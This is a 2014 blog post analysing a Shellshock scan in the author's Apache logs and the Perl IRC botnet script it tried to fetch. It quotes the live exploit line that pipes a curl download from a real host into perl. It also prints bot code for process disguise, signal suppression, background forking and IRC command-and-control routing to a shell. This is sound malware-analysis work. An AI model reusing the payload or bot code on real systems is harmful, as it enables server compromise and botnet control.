Wednesday, November 5, 2014

Anatomy of a Perl IRC Bot Script

Did you check your webserver log files lately? And did you notice any requests with odd referers or user-agent strings with { :; }; in it? That's someone trying to exploit shellshock, a vulnerability in the Unix Bash shell disclosed in September 2014 which got a great deal of attention from the security community. I got excited to see that I too had been scanned, here's an example Apache log line:

212.68.61.199 - - [19/Oct/2014:18:25:08 +0000] "GET / HTTP/1.0" 200 353 
"() { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl" 
"() { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl"

The attacker is hoping that either the referrer or the user-agent string will be processed via a Bash variable (e.g. when using CGI), in which case a vulnerable Bash version would execute the commands following { :; }. From the given commands, a malicious script is to be downloaded from an anonymous location and executed with the Perl interpreter. The site hosting the script was probably compromised. Given the path 'bbs/skin/zero_vote/', it seems to be a website running an older version of the ZeroBoard CMS, which is known to have a number of security issues.

So let's have a look at that Perl script. You can find an integral copy here. First, a nicely formatted header gives us some information about the tool (DDoS Perl IrcBot v1.0/Stealth MultiFunctional IrcBot), its authors (DDoS Security Team) as well as the supported commands used to remote control the victim. Next, a set of variables is defined to customise the script. Here are the most interesting ones:

my @rps = ("/usr/local/apache/bin/httpd -DSSL",
  "/usr/sbin/httpd -k start -DSSL",
  "/usr/sbin/httpd",
  "/usr/sbin/sshd -i",
  "/usr/sbin/sshd",
  "/usr/sbin/sshd -D",
  "/usr/sbin/apache2 -k start",
  "/sbin/syslogd",
  "/sbin/klogd -c 1 -x -x",
  "/usr/sbin/acpid",
  "/usr/sbin/cron");
my $process = $rps[rand scalar @rps];
The variable $process stores the process name the script will use when running. The name is picked at random from a list of processes commonly used on Unix platforms. We'll see later how the process name is installed.

my @rversion = ("\001VERSION - unknown command.\001",
    "\001mIRC v5.91 K.Mardam-Bey\001",
    "\001mIRC v6.2 Khaled Mardam-Bey\001",
    "\001mIRC v6.03 Khaled Mardam-Bey\001",
    "\001mIRC v6.14 Khaled Mardam-Bey\001",
    "\001mIRC v6.15 Khaled Mardam-Bey\001",
    "\001mIRC v6.16 Khaled Mardam-Bey\001",
    "\001mIRC v6.17 Khaled Mardam-Bey\001",
    "\001mIRC v6.21 Khaled Mardam-Bey\001",
    "\001mIRC v6.31 Khaled Mardam-Bey\001",
    "\001mIRC v7.15 Khaled Mardam-Bey\001");
my $vers = $rversion[rand scalar @rversion];
The variable $vers is used to disguise the IRC bot as a version of mIRC, a popular IRC client on Windows.

my @rircname = ("abbore","ably","abyss",...,"zwsiewale");
my $ircname = $rircname[rand scalar @rircname];
The $ircname is picked at random from a large list of nicknames.

$server = 'fflyy.su' unless $server;
my $port = '8080';
These are the IRC server and port the bot is meant to connect to. Note: .su is the top level domain for Soviet Union and googling "fflyy.su" returns some interesting links, see for yourself.

my @admins = ("M","st0n3d","x00");
my @hostauth = ("lolhome");
my @channels = ("#mperl");
This specifies that the bot should connect to IRC channel #mperl and accept commands only from users behind the nicknames M, st0n3d and x00. Additionally, their hostname is also verified (lolhome), although this is also spoofable.

At first, the bot will install handlers for POSIX signals to suppress termination for example with ctrl-c:
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

This code is used to change the process name the script will run with:
$server="$ARGV[0]" if $ARGV[0];
$0="$process"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Can't fork in background: $!" unless defined($pid);
It rewrites the argument vector of the current process with the new process name and forks such that the child process is run under that name.

This is the main loop of the script, that connects to the given IRC server and reads the server's output:
my $line_temp;
while( 1 ) {
  while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
  delete($irc_servers{''}) if (defined($irc_servers{''}));
  my @ready = $sel_cliente->can_read(0);
  next unless(@ready);
  foreach $fh (@ready) {
    $IRC_cur_socket = $fh;
    $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
    $nread = sysread($fh, $msg, 4096);
    if ($nread == 0) {
      $sel_cliente->remove($fh);
      $fh->close;
      delete($irc_servers{$fh});
    }
    @lines = split (/\n/, $msg);
    for(my $c=0; $c<= $#lines; $c++) {
      $line = $lines[$c];
      $line=$line_temp.$line if ($line_temp);
      $line_temp='';
      $line =~ s/\r$//;
      unless ($c == $#lines) {
        parse("$line");
        } else {
        if ($#lines == 0) {
          parse("$line");
          } elsif ($lines[$c] =~ /\r$/) {
          parse("$line");
          } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
          parse("$line"); 
        } else {
      $line_temp = $line;
        }
      }
    }
  }
}
Interestingly enough, the script uses several portuguese identifiers for variables and function names. IRC is a simple text-based, line-orientated protocol, which makes it a good choice for command&control communication with the bots. In the script, the IRC commands are parsed mainly using regular expressions:
sub parse {
  my $servarg = shift;
  if ($servarg =~ /^PING \:(.*)/) {
    sendraw("PONG :$1");
    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
    my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
    if ($args =~ /^\001VERSION\001$/) {

    }
 if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
    if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
    if ($onde eq "$meunick"){
    shell("$pn", "$args");
  }
  if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {
    my $natrix = $1;
    my $arg = $2;
    if ($arg =~ /^\!(.*)/) {
      ircase("$pn","$onde","$1");
      } elsif ($arg =~ /^\@(.*)/) {
      $ondep = $onde;
      $ondep = $pn if $onde eq $meunick;
      bfunc("$ondep","$1");
      } else {
      shell("$onde", "$arg");
    }
  }
}
}
}

elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  if (lc($1) eq lc($meunick)) {
  $meunick=$4;
  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  }
  } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  nick("$meunick-".int rand(9999));
  } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  $meunick = $2;
  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  foreach my $canal (@channels) {
 sendraw("MODE $nick +x");
    sendraw("JOIN $canal");
 sendraw("PRIVMSG $canal :  4,1 [M is the ShIT]   9,1Watcha guys want to do ...   ");
}
}
}

The rest of the script consists of the implementation of all bot commands, which feature port scanning, tcp/udp/http flooding, mailing, remote shell among others... An effective little hacker's toolkit. For me, it was a very informative analysis that taught me some advanced Perl-foo. I hope you also enjoyed.